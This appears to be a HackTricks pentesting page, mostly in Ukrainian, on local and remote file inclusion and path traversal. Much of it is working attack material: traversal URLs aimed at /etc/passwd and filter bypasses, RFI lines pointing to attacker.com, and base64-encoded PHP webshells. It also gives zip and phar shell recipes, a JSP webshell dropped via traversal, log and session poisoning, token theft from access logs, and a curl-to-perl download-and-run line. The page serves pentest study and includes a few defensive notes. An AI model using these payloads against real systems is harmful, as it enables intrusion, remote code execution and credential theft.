File Inclusion/Path traversal
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
File Inclusion
Remote File Inclusion (RFI): Файл завантажується з віддаленого сервера (Найкраще: you can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): Сервер завантажує локальний файл.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
Уразливі PHP-функції: require, require_once, include, include_once
Цікавий інструмент для експлуатації цієї вразливості: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Поєднавши кілька *nix LFI списків і додавши більше шляхів, я створив цей:
Спробуйте також змінити / на \
Спробуйте також додати ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Об’єднання різних wordlists:
Спробуйте також змінити / на \
Спробуйте також видалити C:/ і додати ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Перевірте LFI список для Linux.
Основні LFI та обходи
Усі приклади стосуються Local File Inclusion, але їх також можна застосувати до Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences видалені нерекурсивно
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass додавання зайвих символів у кінець наданого рядка (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Це вирішено з PHP 5.4
Кодування
Ви можете використовувати нестандартні кодування, наприклад double URL encode (та інші):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Сучасні HTML-to-PDF движки (наприклад, TCPDF або оболонки на кшталт html2pdf) охоче обробляють HTML, SVG, CSS та URL шрифтів, надані атакуючим, але вони виконуються всередині довірених бекенд-мереж з доступом до файлової системи. Якщо ви зможете інжектити HTML у $pdf->writeHTML()/Html2Pdf::writeHTML(), ви часто можете exfiltrate локальні файли, які може читати обліковий запис веб-сервера.
- Fingerprint the renderer: кожен згенерований PDF містить поле
Producer(наприкладTCPDF 6.8.2). Знання точної збірки показує, які фільтри шляхів застосовані і чи відбувається URL decoding перед валідацією. - Inline SVG payloads:
TCPDF::startSVGElementHandler()читає атрибутxlink:hrefз елементів<image>перед тим, як викликатиurldecode(). Вбудовування шкідливого SVG всередину data URI змушує багато HTML sanitizers ігнорувати payload, тоді як TCPDF все одно його розбирає:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF додає на початок $_SERVER['DOCUMENT_ROOT'] до шляхів, що починаються з /, і лише пізніше вирішує .., тому використовуйте або провідні сегменти ../../.., або /../../.. щоб вийти за межі root після цього додавання.
- Encoding to bypass naive filters: Версії ≤6.8.2 перевіряють лише буквальну підстроку
../до декодування URL. Надсилання..%2f(або..%2F) в SVG або в сирому атрибуті<img src>обходить перевірку, бо послідовність dot-dot-slash відновлюється лише після того, як TCPDF викликаєurldecode(). - Double-encoding for multi-stage decoding: Якщо введення користувача декодується веб-фреймворком та TCPDF, двічі кодуйте слеш (
%252f). Одне декодування перетворює його на%2f, друге декодування в TCPDF перетворює на/, даючи/..%252f..→/../../../…без того, щоб ранній фільтр коли-небудь побачив../. - HTML
<img>handler:TCPDF::openHTMLTagHandler()містить ту ж помилку порядку операцій, дозволяючи прямі HTML payloads, такі якsrc="%2f..%252f..%252ftmp%252fsecret.png", читати будь-яку локально доступну bitmap.
This technique leaks anything readable by the PDF worker (скани паспортів, API keys, відображені як зображення тощо). Hardeners виправили це в 6.9.1 шляхом канонізації шляхів (isRelativePath()), тож під час тестів віддавайте перевагу старішим версіям Producer.
From existent folder
Можливо, бекенд перевіряє шлях до папки:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Дослідження каталогів файлової системи на server
Файлову систему server можна рекурсивно обстежити, щоб виявити каталоги, а не лише файли, застосовуючи певні методи. Цей процес включає визначення глибини каталогів та перевірку наявності конкретних папок. Нижче наведено докладний метод, як це зробити:
- Визначення глибини каталогу: Визначте глибину поточного каталогу, успішно отримавши файл
/etc/passwd(застосовується, якщо server на базі Linux). Приклад URL може бути побудований таким чином, що вказує на глибину три:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Перевірка папок: Додайте назву підозрілої папки (наприклад,
private) до URL, потім поверніться до/etc/passwd. Додатковий рівень директорії вимагає збільшення глибини на один:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Інтерпретація результатів:
- Error / No Output: Тека
privateймовірно не існує за вказаним шляхом. - Contents of
/etc/passwd: Наявність текиprivateпідтверджується.
- Рекурсивне дослідження: Знайдені теки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні Local File Inclusion (LFI) методи.
Для дослідження директорій у різних місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить /var/www/ теку private (припускаючи, що поточний каталог знаходиться на глибині 3), використовуйте:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation — це метод, що використовується для маніпуляції файловими шляхами в web-додатках. Його часто застосовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи в кінець шляхів. Мета — створити файловий шлях, який після зміни заходом безпеки все ще вказуватиме на потрібний файл.
У PHP різні представлення файлового шляху можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/вважаються одним і тим же шляхом.- Якщо останні 6 символів —
passwd, додавання/(тобтоpasswd/) не змінює цільовий файл. - Аналогічно, якщо до шляху додається
.php(наприкладshellcode.php), додавання/.в кінці не змінює файл, до якого відбувається доступ.
Наведені приклади демонструють, як використовувати path truncation для доступу до /etc/passwd, що є поширеною ціллю через його чутливий вміст (інформація про облікові записи користувачів):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
У цих сценаріях кількість необхідних traversals може становити близько 2027, але це число може варіюватися залежно від конфігурації сервера.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) у поєднанні з додатковими dot segments і символами можна використовувати для навігації файловою системою, ефективно ігноруючи рядки, додані сервером. - Determining the Required Number of Traversals: Через метод спроб і помилок можна знайти точну кількість
../послідовностей, необхідних для переходу до кореневої директорії, а потім до/etc/passwd, забезпечуючи нейтралізацію будь-яких доданих рядків (наприклад,.php), при збереженні бажаного шляху (/etc/passwd). - Starting with a Fake Directory: Зазвичай шлях починають з неіснуючої директорії (наприклад,
a/). Ця техніка використовується як запобіжний захід або для задоволення вимог логіки розбору шляхів сервера.
При застосуванні path truncation techniques важливо розуміти поведінку парсингу шляхів сервера та структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто потрібне тестування для визначення найефективнішого методу.
Ця вразливість була виправлена в PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
У php це вимкнено за замовчуванням, оскільки allow_url_include є Off. Воно має бути On, щоб це працювало, і в такому випадку ви могли б включити PHP-файл із вашого сервера та отримати RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Якщо з якоїсь причини allow_url_include встановлено On, але PHP фільтрує доступ до зовнішніх веб-сторінок, відповідно до цього допису, ви можете, наприклад, використати data-протокол з base64, щоб декодувати b64 PHP-код і отримати RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
У попередньому коді фінальний
+.txtбуло додано, тому що attacker needed a string that ended in.txt, тож рядок закінчується ним, і після b64 decode ця частина поверне лише сміття, а реальний PHP code буде включено (і, отже, виконано).Ще один приклад без використання протоколу
php://буде:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Кореневий елемент
У python у коді, схожому на цей:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Якщо користувач передає абсолютний шлях до file_name, попередній шлях просто видаляється:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Це передбачувана поведінка згідно з the docs:
Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються, і подальше з’єднання починається з цього абсолютного шляху.
Java — перелік директорій
Здається, якщо у вас є Path Traversal у Java і ви запитуєте директорію замість файлу, то повертається список вмісту директорії. Це не траплятиметься в інших мовах (наскільки мені відомо).
Топ 25 параметрів
Ось список топ-25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI з використанням PHP wrappers & protocols
php://filter
PHP filters дозволяють виконувати базові операції модифікації над даними до того, як вони будуть прочитані або записані. Існує 5 категорій фільтрів:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Remove tags from the data (everything between “<” and “>” chars)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>) . To get the list of all the encodings supported run in the console:iconv -l
Warning
Зловживаючи фільтром конвертації
convert.iconv.*, ви можете згенерувати довільний текст, що може бути корисно для запису довільного тексту або для того, щоб функція на кшталт include опрацювала довільний текст. Для детальнішої інформації перегляньте LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Compress the content (useful if exfiltrating a lot of info)zlib.inflate: Decompress the data- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Інші фільтри
- Якщо в PHP виконати
var_dump(stream_get_filters());, ви можете знайти кілька неочікуваних фільтрів: consumeddechunk: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
Частина “php://filter” нечутлива до регістру
Використання php filters як oracle для читання довільних файлів
In this post пропонується техніка для читання локального файлу без повернення виводу від сервера. Ця техніка базується на boolean exfiltration of the file (char by char) using php filters як oracle. Це відбувається тому, що php filters можна використовувати, щоб зробити текст достатньо великим і змусити php згенерувати виняток.
У оригінальній публікації можна знайти детальний опис техніки, а тут — коротке резюме:
- Використовуйте кодек
UCS-4LE, щоб залишити початковий символ тексту на початку й зробити розмір рядка експоненційно більшим. - Це використовується для генерації тексту, настільки великого при правильному вгадуванні початкової літери, що php спровокує error.
- Фільтр dechunk видалить усе, якщо перший символ не є шістнадцятковим, тож ми можемо визначити, чи перший символ — hex.
- Це в поєднанні з попереднім (та іншими фільтрами залежно від вгаданої літери) дозволяє вгадувати літеру на початку тексту, спостерігаючи, коли після достатньої кількості трансформацій вона перестає бути шістнадцятковим символом. Бо якщо вона hex, dechunk її не видалить і початкова «бомба» викличе php error.
- Кодек convert.iconv.UNICODE.CP930 перетворює кожну літеру на наступну (тому після цього кодека: a -> b). Це дозволяє визначити, чи перша літера, наприклад, —
a, тому що якщо застосувати 6 таких кодеків: a->b->c->d->e->f->g, літера вже не буде шістнадцятковим символом, отже dechunk її не видалить і php error буде спричинено через множення початкової «бомби». - Використовуючи інші трансформації, наприклад rot13 на початку, можна leak-нути інші символи, як n, o, p, q, r (і інші кодеки можна використовувати, щоб перемістити інші літери в діапазон hex).
- Коли початковий символ — число, потрібно закодувати його в base64 і leak-нути перші 2 літери, щоб витягти число.
- Остаточна проблема — побачити how to leak more than the initial letter. Використовуючи фільтри для зміни порядку байтів, такі як convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, можливо змінити порядок символів і помістити в першу позицію інші літери тексту.
- І щоб мати змогу отримати further data, ідея полягає в тому, щоб generate 2 bytes of junk data at the beginning за допомогою convert.iconv.UTF16.UTF16, застосувати UCS-4LE, щоб це pivot with the next 2 bytes, та delete the data until the junk data (це видалить перші 2 байти початкового тексту). Продовжуйте це робити, поки не дійдете до бажаного біта для leak.
У пості також був опублікований інструмент для автоматизації: php_filters_chain_oracle_exploit.
php://fd
Цей wrapper дозволяє отримати доступ до дескрипторів файлів, які процес має відкритими. Потенційно корисно для ексфільтрації вмісту відкритих файлів:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Ви також можете використовувати php://stdin, php://stdout and php://stderr для доступу до file descriptors 0, 1 and 2 відповідно (не впевнений, наскільки це може бути корисно під час атаки)
zip:// and rar://
Завантажте Zip або Rar файл з PHPShell всередині та отримайте до нього доступ.
Щоб мати можливість зловживати rar protocol, його потрібно спеціально активувати.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Зауважте, що цей протокол обмежений конфігураціями php allow_url_open та allow_url_include
expect://
Expect має бути активований. Ви можете виконувати код за допомогою цього:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Вкажіть payload у параметрах POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Файл .phar може бути використаний для виконання PHP-коду, коли вебзастосунок використовує функції, такі як include, для завантаження файлів. Наведений нижче фрагмент PHP-коду демонструє створення файлу .phar:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Щоб скомпілювати файл .phar, потрібно виконати наступну команду:
php --define phar.readonly=0 create_path.php
Після виконання буде створено файл з іменем test.phar, який потенційно може бути використаний для експлуатації уразливостей Local File Inclusion (LFI).
У випадках, коли LFI лише читає файл без виконання PHP-коду всередині, через функції такі як file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), або filesize(), можна спробувати експлуатувати вразливість десеріалізації. Ця вразливість пов’язана з читанням файлів з використанням протоколу phar.
Для детального розуміння експлуатації вразливостей десеріалізації у контексті файлів .phar, зверніться до документа за посиланням нижче:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Було можливим зловживати any arbitrary file read from PHP that supports php filters щоб отримати RCE. Детальний опис можна found in this post.
Дуже коротко: 3 byte overflow в PHP heap було використано, щоб alter the chain of free chunks певного розміру з метою write anything in any address, тому був доданий hook для виклику system.
Було можливо alloc chunks певних розмірів, зловживаючи додатковими php filters.
More protocols
Перегляньте більше можливих protocols to include here:
- php://memory and php://temp — Запис у пам’ять або в тимчасовий файл (не впевнений, як це може бути корисно в атаці file inclusion)
- file:// — Доступ до локальної файлової системи
- http:// — Доступ до HTTP(s) URL-ів
- ftp:// — Доступ до FTP(s) URL-ів
- zlib:// — Потоки стиснення
- glob:// — Пошук шляхів, що відповідають шаблону (не повертає нічого придатного для друку, тож тут не дуже корисний)
- ssh2:// — Secure Shell 2
- ogg:// — Аудіопотоки (не корисно для читання довільних файлів)
LFI через ‘assert’ у PHP
Ризик Local File Inclusion (LFI) у PHP особливо високий при роботі з функцією ‘assert’, яка може виконувати код, вкладений у рядки. Це особливо проблематично, якщо введення, що містить символи для обходу директорій, такі як “..”, перевіряється, але не належним чином очищається.
Наприклад, PHP-код може бути написаний, щоб запобігти обходу директорій таким чином:
assert("strpos('$file', '..') === false") or die("");
Хоча це має на меті зупинити traversal, воно ненавмисно створює вектор для code injection. Щоб скористатися цим для читання вмісту файлу, нападник міг би використати:
' and die(highlight_file('/etc/passwd')) or '
Аналогічно, для виконання довільних системних команд можна використати:
' and die(system("id")) or '
Важливо URL-encode these payloads.
PHP Blind Path Traversal
Warning
Ця техніка релевантна у випадках, коли ви control the file path of a PHP function яка буде access a file, але ви не бачитe вміст файлу (наприклад простий виклик
file()) — вміст не показується.
В this incredible post пояснюється, як blind path traversal можна зловживати через PHP filter щоб exfiltrate the content of a file via an error oracle.
У підсумку, техніка використовує “UCS-4LE” encoding щоб зробити вміст файлу настільки big, що PHP function opening файл викличе error.
Потім, щоб leak the first char, фільтр dechunk використовується разом з іншими, такими як base64 або rot13, і врешті фільтри convert.iconv.UCS-4.UCS-4LE та convert.iconv.UTF16.UTF-16BE використовуються, щоб place other chars at the beggining and leak them.
Функції, які можуть бути вразливими: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Для технічних деталей див. згаданий пост!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Коли серверний код, який приймає/завантажує файли, будує шлях призначення, використовуючи дані під контролем користувача (наприклад, filename або URL) без канонізації та перевірки, сегменти .. і абсолютні шляхи можуть вийти за межі призначеної директорії й спричинити arbitrary file write. Якщо ви можете розмістити payload у веб-доступній директорії, зазвичай отримуєте unauthenticated RCE, розмістивши webshell.
Типовий робочий процес експлуатації:
- Визначте write primitive в endpoint або background worker, який приймає path/filename і записує вміст на диск (наприклад, message-driven ingestion, XML/JSON command handlers, ZIP extractors тощо).
- Визначте директорії, доступні з вебу. Поширені приклади:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Сформуйте traversal path, який виведе за межі призначеної директорії у webroot і включіть ваш webshell.
- Перейдіть до розміщеного payload і виконайте команди.
Примітки:
- Уразливий сервіс, що виконує запис, може слухати на non-HTTP порту (наприклад, JMF XML listener на TCP 4004). Головний веб-портал (інший порт) пізніше обслуговуватиме ваш payload.
- На Java-стеках ці записи файлів часто реалізовані простим конкатенуванням
File/Paths. Відсутність canonicalisation/allow-listing — основний недолік.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Заходи захисту, які нейтралізують цей клас помилок:
- Розв’язуйте до канонічного шляху та перевіряйте, що він є нащадком дозволеної базової директорії.
- Відхиляйте будь-який шлях, що містить
.., абсолютні корені або літери дисків; надавайте перевагу згенерованим іменам файлів. - Запускайте процес запису під обліковим записом з низькими привілеями та розділяйте директорії для запису від коренів, що обслуговуються.
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file
Warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string “quote;”, PHP will throw an error there and nothing else will be executed.
Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won’t have a second opportunity.
This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Інші можливі шляхи до лог-файлів:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Словник для fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Читання access logs для збору GET-based auth tokens (token replay)
Багато додатків помилково приймають session/auth tokens через GET (наприклад, AuthenticationToken, token, sid). Якщо у вас є path traversal/LFI primitive у web server logs, ви можете вкрасти ці токени з access logs і replay їх, щоб повністю обійти authentication.
Як це зробити:
- Використайте traversal/LFI для читання web server access log. Поширені розташування:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Деякі endpoints повертають file reads Base64-encoded. Якщо так, декодуйте локально і перегляньте рядки логів.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Декодуйте body, якщо воно у Base64, потім відтворіть перехоплений token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Примітки:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- Якщо додаток підтримує кілька імен токенів, шукайте поширені ключі, такі як AuthenticationToken, token, sid, access_token.
- Rotate any tokens that may have leaked to logs.
Via Email
Send a mail до внутрішнього акаунта (user@localhost), що містить ваш PHP payload, наприклад <?php echo system($_REQUEST["cmd"]); ?>, і спробуйте include лист користувача за шляхом типу /var/mail/<USERNAME> або /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Upload a lot of shells (for example : 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
Via /proc/self/environ
Як і у випадку з лог-файлом, відправте payload у User-Agent — він буде відображений всередині файлу /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Якщо ви можете upload файл, просто inject the shell payload у нього (наприклад: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Щоб файл залишався читабельним, найкраще інжектувати в метадані pictures/doc/pdf
Через завантаження ZIP-файлу
Завантажте ZIP-файл, що містить стиснутий PHP shell, і відкрийте:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Через PHP sessions
Перевірте, чи сайт використовує PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
У PHP ці сесії зберігаються у /var/lib/php5/sess\[PHPSESSID]_ файлах
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Встановіть cookie значенням <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Використайте LFI, щоб включити файл сесії PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Через ssh
Якщо ssh активний, перевірте, який користувач використовується (/proc/self/status & /etc/passwd) і спробуйте отримати доступ до <HOME>/.ssh/id_rsa
Через vsftpd logs
Логи FTP-сервера vsftpd розташовані за адресою /var/log/vsftpd.log. У випадку, коли існує Local File Inclusion (LFI) vulnerability і доступ до відкритого vsftpd сервера можливий, можна розглянути наступні кроки:
- Інжектуйте PHP payload у поле username під час процесу логіну.
- Після інжекції використайте LFI, щоб отримати логи сервера з /var/log/vsftpd.log.
Через php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Через php filters (файл не потрібен)
This writeup пояснює, що ви можете використовувати php filters to generate arbitrary content як вивід. Це, по суті, означає, що ви можете generate arbitrary php code для include without needing to write його у файл.
Через segmentation fault
Upload файл, який буде збережений як temporary в /tmp, потім в same request, спричиніть segmentation fault, і тоді temporary file won’t be deleted — ви зможете його знайти.
LFI2RCE via Segmentation Fault
Через Nginx temp file storage
Якщо ви знайшли Local File Inclusion і Nginx працює перед PHP, можливо, ви зможете отримати RCE за допомогою наступної техніки:
Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли Local File Inclusion, навіть якщо у вас немає сесії і session.auto_start встановлено в Off. Якщо ви передасте PHP_SESSION_UPLOAD_PROGRESS в multipart POST даних, PHP enable the session for you. Це можна використати, щоб отримати RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Через temp file uploads in Windows
Якщо ви знайшли Local File Inclusion і сервер працює на Windows, ви можете отримати RCE:
Через pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Наведене нижче зловживає CRLF vuln, щоб отримати RCE (з here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Якщо ви знайшли Local File Inclusion і файл, що показує phpinfo() з file_uploads = on, ви можете отримати RCE:
